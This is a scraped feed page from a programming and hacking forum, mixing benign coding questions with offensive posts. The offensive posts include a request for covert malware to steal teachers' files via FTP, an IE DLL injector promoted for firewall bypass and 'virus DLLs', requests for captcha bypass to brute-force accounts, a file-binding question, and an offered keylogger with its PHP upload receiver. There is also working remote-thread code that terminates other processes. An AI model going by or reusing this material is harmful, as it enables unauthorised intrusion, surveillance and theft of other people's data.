Quantcast
Channel: New Topics
Viewing all 4617 articles
Browse latest View live

Paint progamming in C language

$
0
0
CODE C++ Language
#include<graphics.h>
#include<dos.h>
#include<math.h>
#include<stdlib.h>
#include<stdio.h>
#include<conio.h>

union REGS i, o;
int leftcolor[15];

int get_key()
{
    union REGS i,o;

    i.h.ah = 0;
    int86(22,&i,&o);

    return ( o.h.ah );
}

void draw_color_panel()
{
    int left, top, c, color;

    left = 100;
    top = 436;

    color = getcolor();
    setcolor(GREEN);
    rectangle(4,431,635,457);
    setcolor(RED);
    settextstyle(TRIPLEX_FONT,0,2);
    outtextxy(10,431,"Colors : ");

    for( c = 1 ; c <= 15 ; c++ )
    {
	    setfillstyle(SOLID_FILL, c);
	    bar(left, top, left+16, top+16);
	    leftcolor[c-1] = left;
	    left += 26;
    }

    setcolor(color);
}

void draw_shape_panel()
{
    int left, top, c, color;

    left = 529;
    top = 45;

    color = getcolor();
    setcolor(GREEN);
    rectangle(525,40,633,255);

    for( c = 1 ; c <= 7 ; c++ )
    {
	    rectangle(left, top, left+100, top+25);
	    top += 30;
    }
    setcolor(RED);
    outtextxy(530,45,"Bar");
    outtextxy(530,75,"Line");
    outtextxy(530,105,"Pixel");
    outtextxy(530,135,"Ellipse");
    outtextxy(530,165,"Freehand");
    outtextxy(530,195,"Rectangle");
    outtextxy(530,225,"Clear");
    setcolor(color);
}

void change_color(int x, int y)
{
    int c;

    for( c = 0 ; c <= 13 ; c++ )
    {
	    if( x > leftcolor[c] && x < leftcolor[c+1] && y > 437 && y < 453 )
		    setcolor(c+1);
	    if( x > leftcolor[14] && x < 505 && y > 437 && y < 453 )
		    setcolor(WHITE);
    }
}

char change_shape(int x, int y)
{
    if ( x > 529 && x < 625 && y > 45 && y < 70 )
	    return 'b';
    else if ( x > 529 && x < 625 && y > 75 && y < 100 )
	    return 'l';
    else if ( x > 529 && x < 625 && y > 105 && y < 130 )
	    return 'p';
    else if ( x > 529 && x < 625 && y > 135 && y < 160 )
	    return 'e';
    else if ( x > 529 && x < 625 && y > 165 && y < 190 )
	    return 'f';
    else if ( x > 529 && x < 625 && y > 195 && y < 220 )
	    return 'r';
    else if ( x > 529 && x < 625 && y > 225 && y < 250 )
	    return 'c';
}

void showmouseptr()
{
    i.x.ax = 1;
    int86(0x33,&i,&o);
}

void hidemouseptr()
{
    i.x.ax = 2;
    int86(0x33,&i,&o);
}

void restrictmouseptr( int x1, int y1, int x2, int y2)
{
    i.x.ax = 7;
    i.x.cx = x1;
    i.x.dx = x2;
 
    int86(0x33,&i,&o);
    i.x.ax = 8;
    i.x.cx = y1;
    i.x.dx = y2;
    int86(0x33,&i,&o);
}

void getmousepos(int *button,int *x,int *y)
{
    i.x.ax = 3;
    int86(0x33,&i,&o);

    *button = o.x.bx;
    *x = o.x.cx;
    *y = o.x.dx;
}

main()
{
    int gd = DETECT,gm;

    int maxx,maxy,x,y,button,prevx,prevy,temp1,temp2,key,color;
    char ch = 'f' ; // default free-hand drawing

    initgraph(&gd,&gm,"C:\\TC\\BGI");

    maxx = getmaxx();
    maxy = getmaxy();

    setcolor(BLUE);
    rectangle(0,0,maxx,maxy);

    setcolor(WHITE);
    settextstyle(SANS_SERIF_FONT,HORIZ_DIR,2);
    outtextxy(maxx/2-180,maxy-28);

    draw_color_panel();
    draw_shape_panel();

    setviewport(1,1,maxx-1,maxy-1,1);

    restrictmouseptr(1,1,maxx-1,maxy-1);
    showmouseptr();
    rectangle(2,2,518,427);
    setviewport(1,1,519,428,1);

    while(1)
    {
	    if(kbhit())
	    {
		    key = get_key();

		    if( key == 1 )
		    {
			    closegraph();
			    exit(0);
		    }
	    }

	    getmousepos(&button,&x,&y);

	    if( button == 1 )
	    {
		    if( x > 4 && x < 635 && y > 431 && y < 457 )
			    change_color( x, y );
		    else if ( x > 529 && x < 625 && y > 40 && y < 250 )
			    ch = change_shape( x, y );

		    temp1 = x ;
		    temp2 = y ;

		    if ( ch == 'f' )
		    {
			    hidemouseptr();
			    while( button == 1 )
			    {
				    line(temp1,temp2,x,y);
				    temp1 = x;
				    temp2 = y;
				    getmousepos(&button,&x,&y);
			    }
			    showmouseptr();
		    }

		    while( button == 1)
			    getmousepos(&button,&x,&y);

		    /* to avoid interference of mouse while drawing */
		    hidemouseptr();

		    if( ch == 'p')
			    putpixel(x,y,getcolor());
		    else if ( ch == 'b' )
		    {
			    setfillstyle(SOLID_FILL,getcolor());
			    bar(temp1,temp2,x,y);
		    }
 
		    else if ( ch == 'l')
			    line(temp1,temp2,x,y);
		    else if ( ch == 'e')
			    ellipse(temp1,temp2,0,360,abs(x-temp1),abs(y-temp2));
		    else if ( ch == 'r' )
			    rectangle(temp1,temp2,x,y);
		    else if ( ch == 'c' )
		    {
			    ch = 'f'; // setting to freehand drawing
			    clearviewport();
			    color = getcolor();
			    setcolor(WHITE);
			    rectangle(2,2,518,427);
			    setcolor(color);
		    }

		    showmouseptr();
	    }
    }
}


Hello everyone. I'm very happy to join in this forums. I have an assignment, I must write a program in C language to use Paint application, but when I compile, there too many errors and I dont know how to fix it.So, can anybody help me?

Introduce Yourself

$
0
0
Introduce yourself, what you program, how you found us. Nice to see new members and who they are :P

Help with hacking school computers

$
0
0
Hi ,

I am attempting to make some kind of "virus" for my school computers. Our teachers usually write tests there, and it's gonna be really handy to have this. I invented this :

Every 3 hours program generates XML directory structure of Desktop and My Documents, and uploads it on my FTP server. When I connect to my server from home, i can see list of files, and choose which one to download. So every time XML is updated, it checks for new "upload orders" and then uploads selected files. I would also like, when new USB drive is connected to copy it and do the same thing. (copy its contents to computer and generate XML).

Targets machines are Windows 7 and XP, they all have .NET framework 4.0 so I started it as VB.NET project. Do you have any better ideas ?

Thanks in advance. :)

Ahh, nostalgia.

$
0
0
Looking through my dinasaur computer, found some really cool stuff. The stuff that got me into computers in the first place.

I think I was using iMesh or something to download music when I got hit by a malicious JPG file, so I read up on it and made one myself. So much fun back in the day. See attachment.

I also found these. If you know what they are, either you watched that movie Hackers or you are an old grue.

Password for rar is "1" without the quotes. Make sure to run the shortcut. It has some leet command line haxkcs.

note: I didn't make the actual exe part, that was random adware.


Just a bit of fun for us all. Nothing malicious.

Attached Files

Constraints on the Universe as a Numerical Simulation

$
0
0
I find this highly interesting. Be warned: the paper contains complex formulas. You do not need to understand the formulas to get the idea, however.

HTML5 Canvas Drag & Drop Mac Issues

$
0
0
Hello here is my code and for some reason I am having issues getting this to work on Safari Browser + Mac period on any browser. Windows works fine with IE9+,Opera,Chrome,Firefox but not Mac :\ Anyone have a clue how I can fix this?

CODE C Language
<!DOCTYPE HTML>
<html>
  <head>
	<style>
	  body {
		margin: 0px;
		padding: 0px;
	  }
	  canvas {
		border: 1px solid #9C9898;
	  }
	  #buttons {
		position: absolute;
		left: 10px;
		top: 0px;
	  }
	  button {
		margin-top: 10px;
		display: block;
	  }
  #container{
   background:url(images/park_layout.jpeg) no-repeat;
  }
#first, .second{
	margin:0 0 0 365px; /* Our Background Layer */
	position:absolute;
}
#second{
	margin:0 0 0 365px; /* Our Saved Image stacked on top of background layer */
}
	</style>

	<!-- Load our kinetic -->
	<script src="http://html5demos.com/h5utils.js"></script>
	<script src="http://www.html5canvastutorials.com/libraries/kinetic-v3.9.6.js"></script>
	<script>
	function update(group, activeAnchor) {
		var topLeft = group.get(".topLeft")[0];
		var topRight = group.get(".topRight")[0];
		var bottomRight = group.get(".bottomRight")[0];
		var bottomLeft = group.get(".bottomLeft")[0];
		var image = group.get(".image")[0];
		// update anchor positions
		switch (activeAnchor.getName()) {
		  case "topLeft":
			topRight.attrs.y = activeAnchor.attrs.y;
			bottomLeft.attrs.x = activeAnchor.attrs.x;
			break;
		  case "topRight":
			topLeft.attrs.y = activeAnchor.attrs.y;
			bottomRight.attrs.x = activeAnchor.attrs.x;
			break;
		  case "bottomRight":
			bottomLeft.attrs.y = activeAnchor.attrs.y;
			topRight.attrs.x = activeAnchor.attrs.x;
			break;
		  case "bottomLeft":
			bottomRight.attrs.y = activeAnchor.attrs.y;
			topLeft.attrs.x = activeAnchor.attrs.x;
			break;
		}
		image.setPosition(topLeft.attrs.x, topLeft.attrs.y);
		image.setSize(topRight.attrs.x - topLeft.attrs.x, bottomLeft.attrs.y - topLeft.attrs.y);
	  }
	  function addAnchor(group, x, y, name) {
		var stage = group.getStage();
		var layer = group.getLayer();
		var anchor = new Kinetic.Circle({
		  x: x,
		  y: y,
		  stroke: "#999",
		  fill: "#999",
		  strokeWidth: 2,
		  radius: 4,
		  name: name,
		  draggable: true,
	visible: false
		});
		anchor.on("dragmove", function() {
		  update(group, this);
		  layer.draw();
		});

		anchor.on("mousedown touchstart", function() {
		  group.draggable(false);
		  this.moveToTop();
		});
		anchor.on("dragend", function() {
		  group.draggable(true);
		  layer.draw();
		});
		// add hover styling
		anchor.on("mouseover", function() {
		  var layer = this.getLayer();
		  document.body.style.cursor = "pointer";
		  this.setStrokeWidth(4);
		  layer.draw();
		});
		anchor.on("mouseout", function() {
		  var layer = this.getLayer();
		  document.body.style.cursor = "default";
		  this.setStrokeWidth(2);
		  layer.draw();
		});

  anchor.on("click", function() {
   alert("hi");
		  layer.draw();
		});
		group.add(anchor);
	  }
  

	  window.onload = function() {
		var stage = new Kinetic.Stage({
		  container: "container",
		  width: 365,
		  height: 502,
		});
		var layer = new Kinetic.Layer();

		function cancel(e) {
			if (e.preventDefault) {
			e.preventDefault();
		}
			return false;
		}
		var drop = document.querySelector('#container');
		// Tells the browser that we can drop inside the container
		addEvent(drop, 'dragover', cancel);
		addEvent(drop, 'dragenter', cancel);
		addEvent(drop, 'drop', function (e) {
		if (e.preventDefault) e.preventDefault(); // stops the browser from redirecting off to the text.
		var path = e.dataTransfer.getData('Text')
		loadImgs(stage,path);
		});

		// add the layer to the stage
		stage.add(layer);



		document.getElementById("save").addEventListener("click", function() {
		  stage.toDataURL(function(dataUrl) {
			window.open(dataUrl);
		  });
		}, false);
	  };
	function loadImgs(stage,url)
	{
		var yodaGroup = new Kinetic.Group({
		  x: 100,
		  y: 110,
		  draggable: true
		});
		var layer = new Kinetic.Layer();
		layer.add(yodaGroup);
		stage.add(layer);
		var imageObj = new Image();
		imageObj.onload = function() {
		  var image = new Kinetic.Image({
			x: 0,
			y: 0,
			image: imageObj,
			width: 20,
			height: 10,
			name : "image"
		  });
		yodaGroup.add(image);
			addAnchor(yodaGroup, 0, 0, "topLeft");
			addAnchor(yodaGroup, 13, 0, "topRight");
			addAnchor(yodaGroup, 13, 104, "bottomRight");
			addAnchor(yodaGroup, 0, 104, "bottomLeft");
			yodaGroup.on("dragstart", function() {
				this.moveToTop();
			});
		stage.draw();
	};
	imageObj.src = url;
}
</script>
  </head>

<body>
	<div id="container"></div>
  
	<div id="buttons">
	  <button id="save">
		Save image
	  </button>
	</div>
	
  <p>Use these images and place inside container</p>
	<img src="images/halfpipe.png"  />
	<img src="images/jump.png"  />
	<img src="images/rail.png"  />
  
<div id="example" style="position: relative;">
		<p> </p>
		<p> </p>
		<p>An example of what an image saved to below</p>
		<p>Note: When saving the image above it does not capture the background, so we take the two images and stack them as seen below.</p>
			<img src="images/park_layout.jpeg"  id="first" style="z-index:-99";/>
			<img src="images/default.png"  id="second" style="z-index:1";/>
</div>
</body>
</html>

Unlocked Physical Memory

$
0
0
I just came up with this little user-mode program and driver to make it possible from user-mode without restriction (even without auth) to read/write to physical memory. There's a bit too much code to post here, so I'll have to link externally (sorry):

http://www.brandonfa.lk/ulpm/index.html

Here's a little demo video:



Regards,
Brandon

DLL injector that inject DLL into Internet Explorer

$
0
0
IE Injector (ieinj) allow you to inject any DLLs into Internet Explorer (iexplore.exe). The process only serves as a host for the DLL and the origial code of Internet Explorer is not executed.
Usage:
ieinj [DLL path]


The steps of DLL injection:
1) Read the DLL path form the command line.
2) Search for the Internet Explorer executable file (iexplore.exe) from Program Files folder.
3) Start the Internet Explorer.
4) Write the DLL path into target process's memory.
5) Create a remote thread to load the DLL.
6) The injected DLL will execute it code from the DllMain function.
7) Terminate the primary thread of Internet Explorer so the origial code of the IE is not executed.
8) The injected DLL can create a new thread to execute it code. The code will execute within the Internet Explorer.

Note: Your DLL must have the DllMain function to execute code or the process will exit after the injection.

This tool is useful for bypassing firewalls since Internet Explorer is allowed to access network by most firewalls.
This tool is also useful for injecting virus DLLs into Internet Explorer.
The file dll.dll is an example DLL to test the injector. The DLL will display a message box when it is loaded into a process.

Brute Forcing?

$
0
0
Hello there people i just joined today and i just wanted to know that if a programme that is available for me to bypass captcha codes so i can be able to brute force into accounts in addition is there any brute forcing programs that run in 64bit Computers/Laptops.

Im trying to hack into accounts its an easy job and the website is called " Www.Tppcrpg.net" and i thought if anyone can be able to help me out if they can thank you.

simple youtube video downloader

$
0
0
i make a fast youtube downloader, i hope you enjoy this one.
CODE PHP Language
<?php
/*
easy youtube downloader
created by botw44
fast scripting during work
made during work and having sex
*/
if(!empty($_GET["url"])) {
function query_to_array($url) {
  $processed_url = parse_url($url);
  $query_string = $processed_url[ 'query' ];
  $query_string = explode('&', $query_string);
  $args = array();
  foreach($query_string as $chunk) {
   $chunk = explode('=', $chunk);
   if(count($chunk) == 2) {
	list($key, $val) = $chunk;
	$args[$key] = urldecode($val);
   }
  }
  return $args;
}
function downloadvideo($url) {
  $pattern = '/.+watch\?v=([^&]+).*/';
  preg_match($pattern, $url, $matches);
  $id = trim($matches[1]);
  $tmpres=@file_get_contents("http://youtube.com/get_video_info?video_id=".$id."");
  parse_str($tmpres, $data);
  return explode(",",$data["url_encoded_fmt_stream_map"]);
}
$options = array();
foreach(downloadvideo($_GET["url"]) as $value) {
  $url = urldecode(str_replace("url=","",$value));
  $query = query_to_array($url);

  array_push($options, array(
   "url"	=> $url,
   "itag"	=> $query["itag"],
   "quality"   => $query["quality"],
  ));
}
foreach($options as $value) {
  echo '<a href="'.$value["url"].'">download - '.$value["quality"].'</a><br />';
}
}
else {
echo 'example: ?url=http://youtube.com/watch?v=y83jr9w8j934j93';
}

Breaking a simple math capcha

$
0
0
Hey everyone!

I know a fair share of HTML, CSS and very little Javascript - I know this probably isn't gonna be helpfull, just gonna point it out anyway.

Let me be honest, I'm trying to cheat in a game.
But they got some really easy math-question capcha every 30 min when you're afk
(The game is not really fun, atleast not in the start - you just have to be online and earn hours)

Lucky for me the answer to the captcha is in the sourcecode..

CODE C Language
<tr>
<td><p>7</p> + <p>4?</p></td>
<td>
<input type="text" name="capt1" style="width: 125px;" />
<input type="hidden" name="capt2" value="<strong class='bbc'>11</strong>" />
</td>
</tr>


As you see, 11 is the answer.
I'm not really sure how this can be done, but my plan is to get some kind og script that'll grab the value from "capt2" and prints it out in the textbox.
Maybe it can be done with Greasemonkey or javascript? I got no idea where to start.

Any awesome people who want to help me or at least just a hint where to start? :)

How do i merge two files?

$
0
0
Hello ! I want to know how to merge a file ( for example a bat file) with another file , mp3/jpg or something else, but when i open the file , both will run. :yes:
Please tell me if is possible using CMD.
Thanks!

PE file Checksum? no problem! ;)

$
0
0
if you ever wanted to "fix" a PE checksum, there you go... MASM32 include file code, one only have to supply an opened file handle to the victim PE file... ain't much, but is better than "plz, h3lp m3 h4ck d4 sk00l, d00d?" shit... :P

CODE Intel Assembler
IFNDEF EmuGetLastError
EmuGetLastError PROC
ASSUME FS:NOTHING
	mov eax, fs:018h
	mov eax, [eax+34h]
	ret
EmuGetLastError ENDP
ENDIF

IFNDEF MicrosoftCheckSum2
MicrosoftCheckSum2 PROC C uses ecx edx buf:dword, len:dword
mov ecx, [len] ; buffer length
mov edx, [buf] ; edx is pointer to our buffer base
shr ecx, 1 ; we're summing WORDs, not bytes
xor eax, eax ; EAX holds the checksum
clc ; Clear the carry flag ready for later...
@@theLoop:
adc ax, [edx + (ecx * 2) - 2]
dec ecx
		jnz @@theLoop
adc eax, [len]
ret
MicrosoftCheckSum2 ENDP
ENDIF

IFNDEF FixPEChecksum
FixPEChecksum PROC hTarget:DWORD
LOCAL fSize:DWORD
LOCAL dwTemp:DWORD
LOCAL hMap:DWORD
LOCAL hMapView:DWORD
	invoke GetFileSize, hTarget, addr dwTemp
	or eax, 0
	jz @err_exit
		mov fSize, eax
			invoke CreateFileMapping, hTarget, 0, PAGE_READWRITE+SEC_COMMIT, 0, 0, 0
			or eax, 0
			jz @err_exit ; using ReadFile/WriteFile won't do the job!!!
			mov hMap, eax ; u still can try, but i don't care, it's your own problem then > <img src='http://www.rohitab.com/discuss/public/style_emoticons/<#EMO_DIR#>/smile.png' class='bbc_emoticon' alt=':)' />
				invoke MapViewOfFile, hMap, FILE_MAP_ALL_ACCESS, 0, 0, 0 ; yep, i've made it using Read/Write...
				or eax, 0
				jz @err_mapview ; but still, i won't care to help with a Read/WriteFile implementations <img src='http://www.rohitab.com/discuss/public/style_emoticons/<#EMO_DIR#>/wink.png' class='bbc_emoticon' alt=';)' />
				mov hMapView, eax ; ...and that means EVER!
@seek_PE:
				cmp word ptr [eax], 'EP'
				jz @got_pe_hdr
				inc eax
				jmp @seek_PE
@got_pe_hdr:
				xor ecx, ecx
				mov dword ptr [eax+058h], ecx
				push eax
			invoke MicrosoftCheckSum2, hMapView, fSize
			pop ecx
			push eax
			mov dword ptr [ecx+058h], eax
			invoke UnmapViewOfFile, hMapView
		invoke CloseHandle, hMap
	pop eax
	ret
@err_mapview:
	invoke CloseHandle, hMap
@err_exit:
	xor eax, eax
	ret
FixPEChecksum ENDP
ENDIF


PS: +a lil' bonus: the EmuGetLastError is actually the real api's code, but well, i do prefer to call as less external api's as possible, so here it is... that's actually what GetLastError does... in ANY windows version ;)

Using RtlCreateUserThread

$
0
0
This is the example usage of RtlCreateUserThread

This program will create a remote thread that call ExitProcess within target process, cause the target process to exit

Source code:
CODE C++ Language
#include <iostream>
#include <Windows.h>

using namespace std;

typedef struct _CLIENT_ID
{
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef long (*_RtlCreateUserThread)(HANDLE,
	    PSECURITY_DESCRIPTOR,
	    BOOLEAN,ULONG,
	    PULONG,PULONG,
	    PVOID,PVOID,
	    PHANDLE,PCLIENT_ID);
 
_RtlCreateUserThread RtlCreateUserThread;

int main(){
    HANDLE hThd;
    CLIENT_ID cid;
    DWORD pid;
 
    HMODULE ntdll=LoadLibrary("ntdll.dll");
    HMODULE k32=LoadLibrary("kernel32.dll");
 
    RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
    cin >>pid;
 
    HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
    RtlCreateUserThread(hProc,NULL,false,0,0,0,(PVOID)GetProcAddress(k32,"ExitProcess"),0,&hThd,&cid);
    WaitForSingleObject(hThd,INFINITE);
 
    CloseHandle(hThd);
    CloseHandle(hProc);
 
    FreeLibrary(k32);
    FreeLibrary(ntdll);
 
    return 0;
}

Attached Files

  • Attached File  rtl.zip   205.7K   7 downloads

[C] Keylogger, keyboard hook with HTTP PHP upload

$
0
0
Hi all, I realized that I've never really written a proper keylogger. So what I decided to do now that I have some time on my hands was to write one.
It works good although I haven't througholy tested it, features include;
  • Writing logs as HTML code, special keys such as CTRL/SHIFT etc is logged as red. Example log; http://warpzone.se/u...X_06_52_12.html
  • Taking a screenshot of the screen after the log has reached maximum size
  • Compresses the screenshot using zip technology
  • Uploads both the screenshot and the log to a webserver through a PHP script, it connects using winsock. Names of files will be computer name and current time.
  • Handles clipboard & window title
The PHP script used on the webserver;
CODE C Language
<?php
$fileng = './b/'.$_FILES['userfile']['name'];
$loaded = $_FILES['userfile']['tmp_name'];
	 var_dump($fileng, $loaded);
if (!move_uploaded_file($loaded, $fileng))
{
  die ('_err: can\'t save file');
}
?>


A quick screenshot;
Posted Image

Enjoy, constructive critisicm is welcome, and yes I know that a lot of you belives that hooks bad.

Attached Files


Custom API

$
0
0
I really like the falling snow.

I am trying to make a custom API from some material I found.
I forgot to note which API this is supposed to be.

Can someone help me.

Thanks.

CODE Intel Assembler
.code
ASSUME  FS:Nothing
start:
call Custom
invoke ExitProcess,0

;Custom I.D.P. api ??
Custom proc
    PUSH EBP
    MOV EBP,ESP
    PUSH ECX
    PUSH EAX
    PUSH ECX
    MOV EAX,DWORD PTR FS:[18]
    MOV EAX,DWORD PTR DS:[EAX+30]
    MOV ECX,DWORD PTR DS:[EAX]
    MOV DWORD PTR SS:[EBP-4],ECX
    POP ECX
    POP EAX
    MOV EAX,DWORD PTR SS:[EBP-4]
    SHR EAX,10
    AND EAX,1
    MOV ESP,EBP
    POP EBP
    RET
Custom endp

Older graphics program

$
0
0
I know this is 16 bit code, but I like the copper bars.

Could someone help me fix this line neg w [si-2] to where tasm will compile it ?

Thanks

Turbo Assembler Version 4.1 Copyright © 1988, 1996 Borland International

Assembling file: copper.ASM
*Warning* copper.ASM(48) Argument needs type override

I forgot how to enclose code using tags.

;---------------------------------------------------------------------
; COPPER3 - 3 simultaneous copper bars, 79 bytes! - final version by
; Tylisha C. Andersen - notable contributions by T.Remmel and J.Neil
;---------------------------------------------------------------------

b equ
w equ

.model tiny
.code
org 100h

;---------------------------------------------------------------------

main: pop bx ; zero bx by popping the return address
;
m_1: push bx ; write 3 positions and increments
inc bx ; the jpo instruction jumps when there are
push bx ; an odd number of set bits in the lower 8
jpo m_1 ; bits of the result; this is true for
; 1 (01b) and 2 (10b), but false for 3 (11b)

m_2: cli ; disable interrupts
mov ah,8 ; ah = 8 for vertical retrace
mov cx,390 ; for each of 390 scanlines:
;
m_3: mov dx,03DAh ; dx = IS1 port, wait for retrace
m_4: in al,dx ; retrace could be vertical or horizontal
and al,ah ; due to the design of the VGA this ends in
jnz m_4 ; the horizontal retrace if ah = 01h, but in
m_5: in al,dx ; the active vertical period if ah = 08h,
and al,ah ; which is exactly what we need
jz m_5
mov dl,0C8h ; dx = DAC write select port
xchg ax,bx ; al = 0, select DAC register 0
out dx,al
inc dx

mov si,sp ; si = ptr. to position data list
mov bl,3 ; for each of 3 colors:

m_6: lodsw ; ax = increment - tricky use of loop,
loop m_7 ; jumps when cx 1 to test for last line
; if on last scanline, then
sub [si],ax ; add increment to position, if this puts it
cmp w [si],-263 ; out of range, then bounce
ja m_7 ; 263 is the max. position of the top of a
neg w [si-2] ; bar without it going off the screen

m_7: inc cx ; restore cx (it was decremented by 'loop')
lodsw ; ax = position, si now = next color
add ax,cx ; ax = line + position
cmp ax,127 ; if it's not inside the bar, then set the
jbe m_8 ; color to 0 (xor al,al); otherwise...
xor al,al
m_8: cmp al,64 ; if it's greater than 64, this means it's
jb m_9 ; on the top part where it is fading out, so
not al ; we negate it (the top 2 bits are ignored)

m_9: out dx,al ; set color intensity, and loop (remember,
dec bx ; parity is only on the lower 8 bits, so it
jpo m_6 ; doesn't matter what bh contains)

mov ah,1 ; ah = 01h for horiz. retrace, key check
loop m_3 ; loop
int 16h ; check for key press (enables interrupts)
jz m_2 ; loop while no key pressed
int 20h ; return to DOS

end main

x86 / x64 pointer compatibility problem

$
0
0
Hi all, I've come across a little problem which I hope someone could help me with.
I'm coding something and I am using the kdb header from the WinDDK, the problem is, inside of this header there's a definition;

CODE C Language
#if defined(BUILD_WOW6432)
	#define KBD_LONG_POINTER __ptr64
#else
	#define KBD_LONG_POINTER
#endif
// And we also have some structs along with this (just to give an idea of what it looks like);

typedef struct {
	BYTE Vk;
	BYTE ModBits;
} VK_TO_BIT, *KBD_LONG_POINTER PVK_TO_BIT;


Now I want my code to run on both x86 and x64 without having to compile two different versions, which works fine except from when it comes to this.
According to MSDN is a pointer defined as __ptr32 coerced on a 64-bit system, which means that if the KdbLayerDescriptor() function uses sizeof() and other functions to get the length it would probably go out of range in the array.

So, if I define BUILD_WOW6432 my code works great on x64, but it won't on x86 and vice versa. So I need to come up with a way to make it hybrid, now I do not know if this is possible but I was hoping someone here could either verify this or help me solve it.

Software temporary license - make it permanent

$
0
0
Greetings,

I would like to know if I bought a license for a software for a period of time ( 1 year).
Is there a way to make this software run for more than 1 year?

Thanks

COM related issues

$
0
0
Hi
a couple of issues seen on the latest API Monitor ALpha-r12 for x32 (ran on Win XP SP3)

The app under monitoring - mmc.exe with custom snap-in that uses COM in order to do things
The error (see attachment)

2) When I turn on the option "Enable COM object scanning" - app crashes as well
by the way - what is this feature about?

3) I've seen that having turning ON tracing for IUknown COM interface (all 3 methods) lead to that error as well

4) taking into account one of the COM libraries - RPCRT4.dll, I do not see all the methods from it, for example: NdrClientCall2

Note: default options used (static import way, etc)

5) what's the best way to analyze the 3rd party COM object in runtime in your opinion?

Many thanks

Attached Thumbnails

  • Attached Image: apimon_error.PNG
Viewing all 4617 articles
Browse latest View live